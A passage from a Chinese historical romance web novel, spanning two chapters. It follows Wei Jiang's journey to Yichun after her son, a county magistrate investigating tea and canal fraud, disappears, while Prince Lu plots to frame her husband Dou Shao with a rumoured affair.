丁恭良躺在床上无所事事,把妾室争宠当着乐趣。他又自诩风流,一个都不辜负,那些海鲜羹汤流水般的吃下,海鲜是发物,对伤势恢复不利,没多久他的伤势就更重了。何不再动点手脚,让他一命呜呼算了,留着也是祸害。
卫姜没留意到她脸上一闪而过的狠意,宽慰她:“不怕,要是实在不行,你带着孩子离开丁家。”
卫莞脸一冷,抽出手:“和离不可能,我宁愿丧夫。”
“你脑子又犯病了。”卫姜手都痒了,真想抽他。
“你留下别人就会说你们夫妻情深了吗?不会有人觉得你生死相依是多么的贞烈伟大,别人只会说你蠢。”
真想扒开她的脑袋看看里面是什么神奇的构造,一会儿聪明一会蠢如驴,又犟又蠢。
“别人议论别人的,你过好自己的日子就好了,何必太在乎别人的眼光,日子过不下去了,和离怎么了?这一个不好下一个更乖。”
卫莞看向她:“那当初你怎么不和窦绍和离?你们那鸡飞狗跳的日子为什么又要过下去。”
卫姜像被人点了穴,僵了!
“我……我们……”死脑子快想理由。
“我们还有感情在的,对,还有感情。”卫姜说的自己都信了。
卫莞看她目光带着狐疑,不是很信这话,“那你也当我们有感情好了。”
“他打你你还对他有感情,你是不是什么受虐狂。!”卫姜觉得跟她说话都要少活十岁,只觉得胸口那把火都烧到脑子里了。
卫莞双手抱胸,防备地看着她,她怕卫姜突然动手。
“你当初不也跟姐夫动手。”
卫姜的手无力地在空中捶了两下,她怎么就这么死心眼,就要比呢。
这样比她是能贏了有奖励,还是说优越感更高。
“我那叫打吗?那叫…….”她想了个羞耻的词,“那叫夫妻情趣,你懂不懂。”
那她是不懂了。
卫姜不想和她扯来扯去,“用你那杏仁般的脑袋好好想想,及时止损啊兄弟。”
卫莞拂开她的手,也知道自己一向和这个姐姐说不到一起,敷衍道:“再说吧。”
事情都还没查清楚,谈其他的太早。
卫姜想要叹气,看她表情就知道,白说了。
两人说话的功夫,孙家的人已经下完聘了。
聘礼摆在院子里,虽然不是多贵重丰厚,可该有的都有。看得出来孙家很重视这门亲,宋氏脸上笑意就更浓了。
卫姜和卫莞一起出现,知道两姐妹关系的都有些奇怪。
宋氏连忙站起来,一左一右的把两人隔开:“这是我们家两位姑奶奶。”
孙家叔母醒悟过来,连忙起身:“民妇见过两位县主。”
来之前侄儿跟他们已经说过卫家的情况,也知道卫家有两位县主。
她是乡下妇人,平日里多是和镇上的人说说是非闲话,今天还是第一次见这么多贵人呢。
看来侄儿这是真的结了门好亲啊,他们家以后也和皇亲沾上关系了,孙叔母笑的眼睛都要瞧不见了。
卫莞快一步扶住她,“都是亲家,嫂子别这么客气。”
孙叔母被嫂子称呼弄愣了一下,然后才反应过来,是啊,她们同辈呢。
可看看自己都像个婆子了,她们却美的跟个小媳妇似的,特别是那个新宜县主,也就比自己小个几岁,自己和她站一起跟母女似的,孙家叔母有点自惭形秽。
低头扫到那青葱般白皙的手指,又是一阵唏嘘,自己姑娘都没她们的手白嫩细腻。
果然是大家小姐,生来就是享福的命。
世子妃李氏忙上前凑趣,问起她路上的事情来。
“叔母从吉安赶过来一路辛苦了,这路上可还顺当。”
“顺当顺当,我们做的官船一路上都挺顺的,也不辛苦。”
他们是受长兄长嫂所托,特意来京城为孙文才下聘,还要帮着筹办婚礼,起码还要在京城待一段时间。
“我们京城也有很多可以游玩的地方,到时候我陪亲家去看看,看看和你们吉安山山水水是不是不一样。”
孙家叔母笑道:“那可太不一样了,这京城不愧是天子脚下,这气象就是不一样,我们那小地方哪比得上。”
有人说她谦逊了,吉安可是个好地方,每一年都能出进士,那是个出人才的地方。
有夫人促狭对宋氏道:“以后外孙子读书你这个做外祖母的就不用操心了。”
众人凑趣笑了起来。
有人奉承道:“如今天下安定,百姓安居乐业,没有哪个地方是不好的。”
众人说是。
孙叔母也笑,然后轻叹了口气:“但也有些闹贼患的,我们经过临江府的时候听说隔壁袁州府就出了大事,好像有贼人闹事,也不知道会不会牵连到我们吉安呢?”众人静了一下,袁州府?
“县主,我记得令郎不是去了袁州府?”徐仰的妻子张氏看向卫姜方向。
窦景去的宜春正是袁州府治下,孙家从江西坐船来京,起码也要二十来日,窦景最后一封家书已经是月余前了。
见卫姜担心,那孙家叔母觉得自己说的话不好,忙道:“我平日里就爱听些闲话,也许是传错了也是有的。”
卫姜心神不宁,连卫家的喜宴都没有吃就离开了,袁州府要是出了大事,朝廷不可能没收到消息,她没有办法打听,窦绍可以。
可等她回到家时才发现他人还没有回来。
她让长佩去前院找几个人在宫门口,还有户部等着,见到窦绍出来让他马上回家。小卫儿可能也感觉到了气氛不对,竟然格外的乖巧,累极了也只是小脑袋点着打瞌睡,也不闹。卫姜摸着她的头,有些心疼:“抱她去歇着吧。”
“县主,要不您先用点膳,我看大人没那么快回来。”田彩知道县主着急忧心,可也不能饿着自己。
卫姜看向她们,开口道:“你们吃了吗?”见她们犹犹豫豫,卫姜已经知道答案了。“那就摆上吧,你们也都先去用膳。”
窦绍直到戌时才到家,卫姜得知他还没吃饭便让厨房给做了一碗面来。
“袁州府是不是真出事了?窦景他们没事吧?”他刚坐下来卫姜就是一连串的问。
窦绍看向卫姜,见她眼里全是焦灼,心不知道怎么的忽然就是一软,原本想瞒着的话也说了出来。
“是,宜春出了大案。”
“那窦景呢?”卫姜一把抓住他的手臂。
窦绍拍了拍她的手,安慰道:“他没事,这次也是他发现了异常上书朝廷,朝廷正准备派人去袁州府查实,没想到乱子提前起了。”窦景刚到宜春就泡在衙门整整半个月,把里面所有的文书都给看了一遍,他留意到其中有些异常。宜春明明自己产茶,可每个月官府都会发出大量茶引,商人争相运茶来宜春,按照宜春的人口算,就算人人饮茶,也喝不了这么多。窦景一边上书朝廷,一边准备自己偷偷查,一个月前他刚得到消息,知道会有三艘运茶船来宜春,他便带着衙役半夜去拦截。他原以为是打别人个措手不及,可那些商人更狡猾,竟然立马凿穿船底,让衙门的人什么都没查到。从打捞的物品来看,除来一些茶叶还有一些丝绢,确实没有违禁物品,这下那些商人不乐意,带着船老大们闹事。最开始只有十几个人,可短短几日过去了,竟然连百姓们也搅合进来了。事情惊动到袁州府知州那里,这个知州也是个冲动的,竟然想着派兵镇压,这下好了,滚油里面泼了水,炸开了。整个袁州府都不安宁了。
“这你还说没危险。”卫姜埋怨他说的轻巧。
小老百姓最容易被煽动忽悠,那些幕后之人唆使几句,他们说不定都敢冲击衙门公堂。
“放心吧,袁州府附近就有卫所,不会有事的,朝廷也派了人去宜春查案,明日就出发。”
难道他会放任自己的儿子处在危险中吗?只要窦景不胡来待在衙门里就出不了事。
“明日就走?派了谁?你不去?”卫姜问他。
窦绍苦笑摇头,他肯定是去不了的,“是我的好友徐仰,有他在景儿不会有事的。”
这是他能为儿子争取到的最大支援,徐仰必然会秉公查理此案,若是事情如他上书的那样,自然就不会有事。
卫姜知道以他如今的身份,也不是能说走就走的,还要看皇上怎么想。
可就这样把窦景扔在宜春她也不放心啊,他还未满二十呢,在现代就是个大学生,惹了事只会找爸妈的年纪。
“我也去。”话一出口,她的心就安定了,她继续道:“我明日和他们一起出发去宜春。”
窦绍立马反驳:“不行,如今临近年关,天气寒冷,一路上都不好走,我不放心。”
只要一想到她离开京城,离开他的视线,他心里就觉得不安。
“窦景不是孩子了,他也是做父亲的人,这些事情他都抗不下来,那还不如趁早回来种田……”
这人怎么说话的,是不是他儿子。卫姜瞪他。
“是我不行,我不放心儿子,我要亲眼去看看,再说了,我也大半年不见他了,正好年关了,我去宜春和他们过年好了。”
窦绍气的话都说不出来了,憋了半天,才干巴巴地挤出一句:“那女儿呢?你就放心女儿一个人在家”
他没敢说出自己,知道说了也没用,他知道自己还不够分量让她留下。
卫姜一时有些为难,也是,窦绍公务忙,小卫儿一个人在家她也确实不放心,要不……
“想都别想。”窦绍堵住了她的话。
卫姜不满,她都还没说呢。
“女儿才多大,你别想带她一起去。”
他这话是同意她自己去了,卫姜脸上一喜,语气都欢快了:“那行,我一个人去,女儿还是留在家里好了,你太忙了顾不过来就先送到我娘那去。”好怕说慢了他会反悔。窦绍也确实懊悔了,怎么就忽然就让步了。
面端上来,他却半点胃口都没有了。
次日一早,窦绍带着女儿亲自送卫姜去了码头,临别前细细嘱咐了很多话。
卫姜听的耳朵都要长茧子了,嫌他啰嗦,敷衍地点头。
徐仰旁边站的是和他一起去宜春的刑部同僚,感叹道:“窦大人和县主真是伉俪情深啊。”
徐仰没忍住笑了,“是啊,情深似海。”
这要是一年前他是怎么都不信的,可自从老友回京后,和县主感情确实是如胶似漆了,他也看不明白啊。徐仰实在没眼看窦绍这副模样,见时辰差不多了,他走过去道:“船也要开了,差不多得了,县主你就放心吧,我会照顾好的。”这话说的太有歧义了,窦绍看他的眼神都带着刀子了。
“我是说,路上我会遵照您的指示,替您照顾好县主。这样可以了吗?”
卫姜笑了,推着窦绍往前走:“快走吧,要开船了。”
窦绍拉了一下她的衣袖:“早点回来,我和女儿等着你。”
卫姜亲了一下女儿的小圆脸,“知道啦。”
船开动了,小卫儿终于察觉到不对了,怎么娘亲越来越远了,她哭着伸手要抱。
卫姜忍住泪水,垫着脚朝他们挥手。
窦绍轻轻哄着女儿,“不哭,只要你在这里,你娘一定会回来的。”
这也是窦绍不肯卫姜带女儿去宜春的另一个原因,心里隐隐担心她跑了。
回程时窦绍坐的是卫姜的马车,他把自己的马车给了卫姜,他的马车是经过改良的,赶路的时候坐着会舒服些。
小卫儿一路上抽抽噎噎,这孩子气性大,哭不动了她也要哼哼,反正脸上就是要挂两滴泪,让人看到就会心疼。
窦绍记得卫姜会在马车里藏些逗孩子的东西,他随手找了一下,果然看到一个九连环。
小卫儿得了玩具,就忘了悲伤了,一心就和那几个玉环较劲。大街上,一个丫鬟拉了自家小姐一下,指着不远处驶来的马车道:
“小姐,那是县主的马车吧?”
卫姜的马车是县主的规制,在京城是很有辨识度的,潘英娘双眼一亮,快步朝那走去。
窦绍抱着女儿正在想事情,一大一小皱眉的表情都一样,马车忽然停下,两人同时看向外面。
“县主,英娘求见。”赶车的是窦绍的人,他见到一个姑娘来拦车整个人都不知所措了,想要赶走这姑娘吧,听她语气汉好像是县主的熟人,一时不知道该怎么处理,愣在当场。小卫儿听到声音,小手一下子就把车窗的帘子撩开了,对着英娘嗷嗷,好像再问你谁啊。英娘心知这定然是县主小女儿了,正要逗一逗,谁知抱着孩子的竟然是个男人。
她呀的一声,低下头,脸烧的慌。
“她最近不在京中,你若是有要紧事我可以代为传达。”潘英娘立马就知道了他的身份,“窦大人。”声音像蚊子一般轻。窦绍见她没说有什么要事,便准备让车夫驾车回家。潘英娘见马车走了几步,反应过来,提着裙子追来上来。
“等一下。”
马车停下,窦绍皱着眉不悦地看向她。
潘英娘见他这样子有些害怕,脸臊的更红了,哆哆嗦嗦地从丫鬟那里接过一个锦盒,递了过去。
窦绍没接,脸隐隐有些泛冷,潘英娘立马解释:“这是我亲手制的香囊……”
窦绍:“拿走。”
潘英娘知道他误会了,更加窘迫了,脸这下是红的发紫了,顾不上害怕急急开口解释:“不是给你的。”
窦绍愣了一下。
“这是我答应县主给她制的香,是用龙脑菊做的,我没想到会耗时这么久,昨日刚刚做好,我本来想今日亲手交给县主,但去了贵府,府上的人说她出远门了。”窦绍轻咳了一声,接过锦盒,打开一看里面果然是个香囊,香囊上还绣了龙脑菊,栩栩如生。
这是潘英娘做的最用心的女红。
“多谢,我会替你转交给她。”窦绍微微颔首,脸色也缓和了些,但还是不苟言笑的样子潘英娘点头,立马推开一步,“不耽搁大人了。”马车离开了,主仆还望着马车的方向不动,看着就像是痴情女子望着远走的情郎。潞王站在茶楼窗前正好目睹了这一幕,“这女子送男子香囊是个什么说法?”
“自然是表达爱慕与定情的意思。”下属摸了摸自己腰间的香囊,这就是他相好送的。
潞王笑了,有意思。“这男子若是收了呢?”
下属道:“自然男有情妾有意。”
潞王大笑,眯着眼看向窦绍马车离去的方向
“去好好查查这女子是谁?”
等新宜县主回京,他要送她一份大礼。
他几番拉拢窦绍都不识好歹,那就让新宜县主帮个忙,除掉这个挡路石。
……
“小姐,你还好吧?”丫鬟扶着潘英娘,试图挪动一下脚。
“好像能走了。”潘英娘那发软的腿慢慢恢复力气了。
周围好多人都在看她们了,主仆二人一瘸一拐搀扶着一旁巷子里走。
“这个窦大人比老爷的威势还可怕,太吓人了。”
潘英娘点头表示深切的赞同,“他是爹爹上司自然威势更盛。”
小丫鬟觉得小姐说的有道理。
潘英娘不觉得自己没用,刚刚窦大人那冷眼她爹来了都不一定稳得住,还是县主厉害,听说她把窦大人管的服服帖帖。
这才是她潘英娘敬佩的人,她日后嫁人,也一定要像县主一样找个能管得住的。
她吸了吸鼻子,包子脸更明显了,让人想掐。
不过……她希望自己的未来夫君不要是窦大人这样的,让她看着就害怕,一瞪眼她都怕的走不动路。
***
潞王刚回到府里,就听说柳大福到了。“我正要找人去找你,来的刚好。”
见潞王一副心情很好的模样,柳大福笑道:“县主离开了?可惜,没能让窦绍也离开。”潞王摆手,能让新宜县主暂时离开已经是意外之喜,不过他今日发现了更有意思的事情。“听说你之前去找过户部潘侍郎,但都被他拒绝了。”
柳大福咬牙,“是,这个人是窦绍的心腹,他对窦绍极其忠心。”
他原想着若能把这位潘侍郎拉到潞王这边,等他们对付了窦绍,户部就是潞王的了。
可惜这个潘仁美油盐不进,像是窦绍的一条狗。
“他有个女儿你知道吗?”潞王继续说道。
柳大福自然知道,他接触潘仁美之前早就把潘家的关系摸的一清二楚,连养了几条狗都知道,他还知道这个潘仁美还很宠爱这个女儿。他盯着潞王看,心中一动,难道……“只怕他不肯让女儿做妾室,就算是殿下的次妃也终归不是妻,潘仁美怕是要辜负殿下的美意。”
何况,他是想替潞王拉拢潘仁美,可也没想让潘仁美的女儿成为他孙女的威胁。
潞王知道他误会了也不以为忤,笑的意味深长道:“他的女儿和窦绍勾搭上了。”
他把今日见到的告诉了柳大福,包括那女子纠缠不清的模样,以及窦绍亲手接过香囊。
看得出来这女子窦绍是放在心上的。
柳大福一惊,先是皱眉后是大喜,“当真?”
潞王知晓他已想通了其中的关窍。
潞王颇有些放松地往后一靠,脚搭上了一旁的矮凳上,他有些忘形,看来老天是助他的,竟然让他发现了这秘密。
“不如我们帮着做个大媒如何?”潞王和柳大福相视一笑,笑的不怀好意。
不管这桩婚事成不成,对潞王都是有益无害的事情,若是潘仁美不肯女儿为妾自然就会和窦绍翻脸,潘仁美就会倒向他们这一边。
若是潘仁美最后同意女儿给窦绍做妾也无事,他们还有新宜县主呢,这可是个眼里容不下沙子的,要不然窦绍也不至于这么多年守着她一个。
窦绍最大的弱点就是他的妻子,要毁掉窦绍其实很简单,让新宜县主出手就好了。
让她发疯,让她视窦绍为仇雠,哪怕玉石俱焚她也会毁了他。
本来要施行这个计划很难,可谁让窦绍忍不住呢,新宜县主刚离开,他就忍不住去和心上人私会了。
“你说新宜县主回来要是把这个潘小姐杀了,窦绍会怎么做?”
会不会为新欢杀旧妻,若是真如此那就更好了。
潞王想想都觉得痛快,他吩咐人去厨房整治一桌酒菜,今日他开心,要喝酒。
****
呕~
徐仰趴在甲板上,吐的死去活来,感觉胆汁都要吐出来了,他使劲眨眼,泪眼朦胧地看向两边。
和他同行的好几位同僚一个个也吐的眼冒金星,他顿时心里舒坦多了。
一碗清水递了过来,徐仰睁开眼,是长佩,旁边站着风采照人的县主。
徐仰闭眼,那一点点舒坦不见了,亏他临行前还跟窦兄保证,路上一定替她照顾好县主。
谁知道,这船开了没多久他就开始吐了,他哪知道还有个晕船毛病,最后他别说关照县主了,还累的她的丫鬟们照顾他们,
“县主,你怎么一点都不晕?”徐仰有些好奇。
卫姜微笑:“习惯就好了,你这是第一次坐船吧,应该是不习惯,多坐几次就好了。”
徐仰叫苦,“免了,这罪受个一两次就行了。”他摸着自己的脸颊:“我都觉得自己饿瘦了。”
没办法,勉强吃的那点东西全给吐了,每天都是靠清粥续命。
“县主以前也坐过这种船吗?”
他其实也坐过船的,游湖的画舫,明明那种船他没晕过啊。
怎么船和船还不一样了。
卫姜晃了神,河水湍湍,表面平静,水下确是激流涌动,看久了人就会犯晕。
这样的场景她以前见过很多次,她当然坐过船,只是……不是在这里。
她的家乡也有条大河,读书的时候都是坐船出行,遇上天气好的时候,他们就跟猴子一样窜上船顶,或坐或躺,看着船划开平静的河面,盯着天空觉得天触手可及。嘻嘻笑笑闹成一团,好像危险离他们很远一样。
那样的日子很快活,卫姜伸手,明明风还是一样的?可她却闻不到家乡的味道了。
这才两年多的时间,她却觉得恍如隔世,这里呆久了她都要忘了原来的生活了。
“还有两个时辰就快到袁州府了。”船家声音把她从回忆中唤醒。
众人被船家的话激活了,不管是萎靡不振的,还是吐的要死要活的,都如回光返照一般精神了,大家开始收拾东西,希望快点离开这该死的船。
“今日在袁州府驿站歇一晚,明日马车起码要行驶一日一夜,后日我们才能到宜春县。”徐仰对她道
卫姜点头,这和她预估的时间差不多。
下了船,卫姜直接去了驿站,她是县主,驿站的人自然不敢怠慢,安排最好的房间,还让驿站里的仆妇把热水给她提到房门口。
等用完膳卫姜才知道徐仰刚恢复过来就去了府衙。
果然是窦绍的朋友,都是工作狂。
“他回来时你们记得叫醒我。”她打着哈欠,把自己埋进被窝里。
虽然她不晕船,但也好累啊,所以她佩服徐仰精力是真好。
很快,她的眼皮就黏在一起了,沉沉陷入了梦乡。
再次醒来已经是第二日了,长佩满脸懊恼,向卫姜请罪:“昨夜是奴婢值夜,不小心睡过去了,忘了叫醒您。”
卫姜摆手:“不是什么大事,你们也累了这么久,是我没想到,昨天就应该让你们都歇一晚。”
长佩:“县主,我看徐大人已经起来了,您要是找他有事,我现在去叫他。”
卫姜摇头:“也不急这一会儿。”
她是想问问袁州府的情况,特别是宜春目前如何了。
卫姜洗漱好正要用早膳,忽然传来了敲门声,田彩前去开门,不一会她就领着徐仰进来了。
“县主还没用膳?”徐仰有些迟疑。
“什么事?”卫姜问他。
徐仰也没有卖关子:“宜春情况有些不妙,我想着尽快出发。”
卫姜懂了,“现在走。”她让长佩把能打包带走的早膳都带走。
反正她们也是坐马车,就在路上吃好了。
徐仰很感激县主的配合,一行人日夜兼程,终于在第二日的午后赶到了宜春县。
他们直奔衙门,衙门大门紧闭,四周乱糟糟的,还有不少穿着短打的男人目光不善地打量着他们。
卫姜心里有些不安,吩咐车夫直接把车赶到后门去。“我就不去衙门了,有什么事你让人来后院找我。”
徐仰颔首,“这也好。”
窦景是县令,县衙后院应该就是他和陶氏一家人住的地方,卫姜下车,打量着周围的环境。
自然是和窦家比不上,不过在宜春县也算是可以的。
长佩上前叫门,过了很久才有人来开门。
后院乱糟糟的,那些下人也很没有规矩,乱了神一般的四处乱走。
出事了?卫姜脸色一凝,加快了脚步。
房间传来孩子哇哇大哭的声音,间或还有陶氏的声音,还有陶氏乳娘高声责骂人的声音。
听的卫姜眉头越波越紧。
“出什么事了?”
大门被人推开,声音如此耳熟,迎着日光,陶氏眨了眨发涩的眼眶,终于看清了人。陶氏有些不敢置信,嘴巴颤抖着,几次都没有叫出声。她这个样子可不像是激动啊,卫姜走近一些,接过她手中的孩子,轻柔地给宝哥儿拍背。快半年没见,宝哥儿早就忘了还有个祖母了,他肿着眼悄默默打量着眼前的人。她给宝哥儿带了不少东西,让长佩随便拿来两件哄住了孩子,这才让人把他抱下去。孩子一走,卫姜就立马冷了脸,“闹哄哄一团,到底怎么了?”
怪她积威太重,屋里服侍的又都是京城带来的老人,她们一个激灵扑通就跪下了。
卫姜拉过陶氏的手,轻声问道:“别怕,我来了,有什么事跟我说。”
陶氏哇的一声哭了出来,扑进了卫姜怀里。
“娘,夫君失踪了。”
51、第51章(捉个虫)...
窦绍脚刚迈进正院,就听女儿哭的撕心裂肺,他加快了脚步,进门时把带着寒气的银狐大氅脱下交给仆妇。
“怎么回事?怎么哭闹起来了。”平日里这个时辰她都该入睡了。
奶妈子神情惶惶,抱着孩子请罪道:“小姐到了这个时候就闹腾,怕是想县主了。”
小卫儿听到爹爹的声音,抽噎的更委屈可怜了,她拼命地窦绍伸出小手,整个身子都弓起来。
“你们先下去吧,我来哄她。”窦绍伸手把她抱过来。
小卫儿双手紧紧环住他的脖子,还用湿漉漉的脸蛋朝窦绍贴贴。
窦绍心如包裹了一团温泉,他轻轻给女儿擦干泪水,点了点她的鼻子:“又发脾气,是不是想娘了?”
小卫儿听到娘,连忙四处看,没看到熟悉的人影有些失望地垂下眼睑,长长睫毛一颤一颤,小手却抱的更用力了。
她在窦绍怀里找了个舒服的位置贴着,明明想睡了就是不肯闭眼,湿漉漉的眼睛盯着他看。
好像在问他,娘怎么还不回来。
窦绍轻轻拍着,哄她道:“快了,你娘就快回来了,爹爹知道我们卫儿是想娘亲了,爹爹也想。”
他推开向南的窗户,好像从这里就能望到宜春一样,想到前些日子皇上知道她去宜春后的震惊表情。只怕谁都没想到她会去宜春。
皇上当时问他为何没拦着,不知道她的脾气吗?担心她去了宜春闹出什么事没人能按的住。
窦绍正要替卫姜辩解几句,皇上又嫌弃地看了眼他,说:“算了,你也劝不住。”
窦绍苦笑,看来连皇上都知道自己拿她没办法。
"也不知道你娘到了没有,她有没有想我们。"
怀里的小女儿胸口已经睡的香甜,自然是回答不了他的。
窦绍笑了,低头轻轻地亲了一下她的额头。
门被轻敲了两下,顺才知道自家大人在哄孩子睡,声音压的很低。
“大人,潘侍郎来了,说是有事找您。”潘仁美,六部中也只有这一个姓潘的侍郎。
窦绍想到这几日他有些怪异,难道出了什么事?
“知道了。”
他让顺才先去招待,把熟睡的女儿安顿好,这才去了前院。
卫姜哪里有时间想他和女儿,她刚到宜春就是晴天一个霹雳!
她面无表情又递给陶氏一块帕子,旁边的盆里丢了不下十来块了,都是陶氏哭湿,这哭功也是蛮厉害的。
要是孟姜女在世可能会收她做徒弟。
陶氏哭了小半个时辰,心里好受多了,自从昨日丈夫没有回来,她就慌了,不过是因为孩子还小,家里需要她撑着,她这才强忍住了。
可刚刚婆母如仙女一般出现在她面前,她忽然就找到了依靠,担心害怕一拥而上,她眼泪怎么都止不住。
她打了个哭嗝,声音都有些哑了:“娘,您怎么会来了宜春?”
卫姜:“我和朝廷派来查案的人一起来的,先不说这个了,说说窦景的情况吧。”
她一句失踪了就哭的昏天黑地,卫姜只能强忍着让她哭完。
陶氏擦了眼泪,回忆起当日的情形,之前因为查检商船的事情引的那些商人和船工闹了起来,丈夫一连好些日子都没有出门,他把自己关在书房里,天天在里面看东西。
县衙的文库都被他搬空了,半个月前他又带着人出门办案,窦景怕陶氏担心,很少跟她说公务,但她也看的出来,丈夫神色很凝重。
昨日夜里,他让陶氏先睡,说自己要去一个地方,很快就会回来。陶氏哪里睡得着就一直等着,等呀等,天都发白了,他还没有回来。陶氏慌了,去衙门一问,这才知道昨夜跟窦景一起出门的几个衙役都没有回来。大家原以为可能是县令有什么事耽搁了,他们找寻了周边都没找到窦景和那几个衙役。他们就这么失踪了。“他带去了几个人?”
陶氏想了一会道:“三个,都是快班的衙役,说是都有些身手,我应该劝他的,要是我拦了他就好了。”
“我们家的人呢,没有跟去?”卫姜问道
陶氏又哭了,“他就带了一个过去,都是我不好,是我的错。”丈夫是担心自己和孩子的安全,这才把家里带来人手都留下。当初他们离开京城时,公公给丈夫准备了几个好手,就是以防不测的。陶氏捂住脸哭的伤心,她觉得自己就是个累赘,她什么都不会。她的眼里全是愧疚,婆婆若是怪罪她,也是自己应得的肩膀被拍了一下,陶氏虽然做好了心理准备,可还是生理性害怕地抖了一下。
卫姜知道自己吓到她,示意她的乳娘把她扶起。“她是不是好久没闭过眼了?”陶氏眼下乌黑,脸色差到几点。
乳娘吴氏心疼自家姑娘,说话带着哭音:“自那夜少爷出门后,少奶奶就没歇过。”难怪卫姜觉得她都快成祥林嫂了,长时间不睡觉也不行啊,都精神恍惚了。“扶她下去歇一会,这样下去人怎么熬的住。”卫姜吩咐吴氏。陶氏却不肯,抓着卫姜的手说:“夫君还没回来,我要和您一起等他。”卫姜看着她的眼睛,问她:“窦景若是真出了事你也倒下了,宝哥儿怎么办?”想到还小的儿子,那是她和丈夫唯一的骨肉,要是丈夫有个万一……陶氏脸色一白,想到丈夫对她的好,她眼眶发胀,却拼命忍住了泪水,她的眼神变得坚定。“我听娘的。”她收回拉着卫姜衣袖的手。她要好好歇息,这样才够精力去救回丈夫,就算………她也要为丈夫好好抚养孩子长大。陶氏的坚韧让卫姜有些意外,她来了这么久陶氏一直都在哭,原以为她真的只是个菟丝花,可现在看来,是她错了,陶氏柔中带韧,是不会垮的。“县主,徐大人求见。”门外长佩前来禀报。
“请进来。”
他应该是知道窦景失踪的事情了。
果然,徐仰一进来就道:“县主放心,我已发文袁州卫,让他们派兵协助搜寻,相信很快就会有结果了。”
“多谢徐大人了。”
徐仰道:“县主客气了,皇上之前就吩咐过必要时可以请求各卫所协助,我奉命前来查案,小窦大人又是案情的关键,他的失踪关系到案情,我自然责无旁贷。”卫姜听出他话里的意思,窦景失踪怕是和案子有关。
也不知道他是被人藏起来还是………还是灭口了,想到这里她心里一阵发麻。虽然她跟陶氏是那样说,可她心里从来没往万一想过的,窦景还那么年轻!窦绍怕是还不知都这里的情况。
“衙门那边有什么发现吗?”卫姜强稳住心神,问徐仰。
“我问过典史,也翻过他这些日子看的那些案卷,发现都和漕运有关。”徐仰猜测他会不会是去暗中查漕运的事情了。
卫姜也想到了这个可能,他半夜出门,是不是得到了什么消息。
“县主放心,衙门会尽快找到小窦大人的。”徐仰宽慰她。
卫姜扯了扯嘴角,实在笑不出,要真是和漕运有关,那事情就更麻烦了,本来只是茶引引发的一件小案,最多也就是走私,可若是把漕运也扯进来。漕运可是皇帝的钱袋子。
"辛苦徐大人了,衙门那边的事情还要多麻烦你。"
徐仰有愧,“县主这话重了,于公于私都是我应该做的。”
窦绍是他好友,窦景就是他的晚辈。
送走徐仰,卫姜独坐在花厅呆坐,过了一会儿她又让人送来了笔墨,她把知道的信息都——列出来,没有遗漏。可任她怎么看都没有头绪,时间一点点过去,
在科技发达的现代,找寻失踪人员都有黄金四十八小时的说法,更何况现在。马上就只剩二十四小时了。
卫姜忽然想起要给窦绍报信,她匆忙写好信,吩咐人去找徐仰,他定然是要把这里的事情汇报给京城,托他夹带在加急行文给窦绍这个忙他一定不会推脱,就是卫姜不写信,徐仰也定会写一封给窦绍。
出事的可是窦绍独子。
长佩小心接过信,决定还是亲自去前衙跑一趟,临走前她看到卫姜手边的茶已经冷了,便吩咐一旁的下人去换热的来。
茶香清淡,入口微甜,卫姜问道:“这是什么茶?”
那下人道:“这是我们宜春本地的茶,县主若是喝不惯,奴婢去重新沏。”看得出来她有些害怕。
卫姜摇头,喝了几口。“挺好喝的。”
她看了看天色,说道:“我记得和景哥儿一起失踪还有三位衙役,我想去看看他们的家人。”
在这里空等着也是难熬,不如四处走走,说不定能有意外的收获。
长佩还未回来,田彩虽有些担心却不敢违拗:“县主,那我去找个带路的?”
卫姜留意到那下人想说什么又不敢,便指着她道:“你是不是知道?”
那人连连摆手,“奴婢不知道,不过前院皂班的王二肯定知道,衙门里三班六房就没有他不知道的事,连谁家有几口人都知道,大家都说他厉害,找人叫他准行,是个百事通。“卫姜被她话逗笑了,“那行,就找这个王二,你叫什么名字?”卫姜问她。
“奴婢叫樱儿,樱桃的樱,我娘说她怀我的时候就爱吃这个。”樱儿悄悄抬起头飞快偷看了一眼卫姜,刚好被田彩瞪了个正着。
小圆脸立马吓白,她心里是害怕这些从京城来的侍女姐姐,她们总是用一副挑剔中带着嫌弃的眼光看人。
“樱儿,你也是个机灵的,不如你也跟着去吧”
县主娘娘竟然夸她!还带她出门,樱儿脸又变的通红,头都点出幻影了。
田彩嫌弃地又瞪了一眼。
王二果然如樱儿说的那样机灵,知道是替县主办事,早就把那三个人家里事情打听的一清二楚。
一起失踪的三人,一人是积年的老吏,四五十岁的年纪,家中有两个儿子都已成家,他和老妻跟小儿子一家住;另一个是个年轻人,顶了父亲的职刚进快班没几年,他父亲几年前抓捕盗匪的时候死了,他娘跟着就跑了,不过他还有个叔父,在镇上开了行脚店。
最后一个人是快班的捕头,三十多岁,为人老练,处事公允,在县里颇有名声。
"县主,这就是最后一家了,蒋捕头一家人就住这里。"
王二殷情上前拍门,立马很快传来了男童声音,他小心打开院门一条细缝,应该是认识王二,欢快叫道:“王二哥。”
“娘,王二哥来了。”
一个妇人擦着手从旁边出来,另有一个小媳妇端了碗菜出来,这应该是厨房。看到王二带了人来,这妇人有些发愣。看衣着打扮还有气势,就不是一般人,她求救般看向王二“这是县主,是我们县令的母亲,她特意来看看你们的。”王二为她引见樱儿和田彩把带来的礼物放到屋里。
县令的母亲这么年轻,不会是后娘吧,她心底有些狐疑但没有表现出来
妇人招呼家人搬来板凳。“这……请坐……请坐。”殷勤招待。
很明显,这一家子根本不知道什么是县主,卫姜也没有要亮出身份的意思。
蒋捕头家人口也简单,那妇人是她的妻子,他们生有三儿一女,长子已经成家,次子几年前和蒋捕头起了争执,一气之下跟着亲戚跑船去了,已经好几年没回家了,幼子还小,就是刚开门的男孩,女儿嫁到了隔壁县。
蒋妻有些局促,不停地摩挲手,说起男人就掉眼泪,蒋捕头是家里的顶梁柱,若是出了事,他们家等于天塌了。
卫姜宽慰了几句,问到清不清楚蒋捕头是去哪里,他有没有说过什么事,蒋家人的表现和前两家一样,都是摇头。
蒋妻:“他衙门里的事从来不跟我们说,也不让我们问。”
见实在问不出什么,卫姜也有些意兴阑珊,她起身道:“那就不打搅你们了,要是有消息我让……”
她看向王二,王二上前一步:“到时候我来给婶子报信,若是婶子想起了什么,也可以来找我,或是去衙门。”
卫姜赞赏看了他一眼。
卫姜带着人离开了蒋家,王二正要跟上被蒋老大拉住了。
"小二哥,这县主是个什么说法?"只听过夫人太太的,县主他还是第一次听。
王二没有任何轻慢的神色,低声道:“也是个官,跟县令似的。”
蒋家人有些讶异,蒋母问道:“比县令还大?”
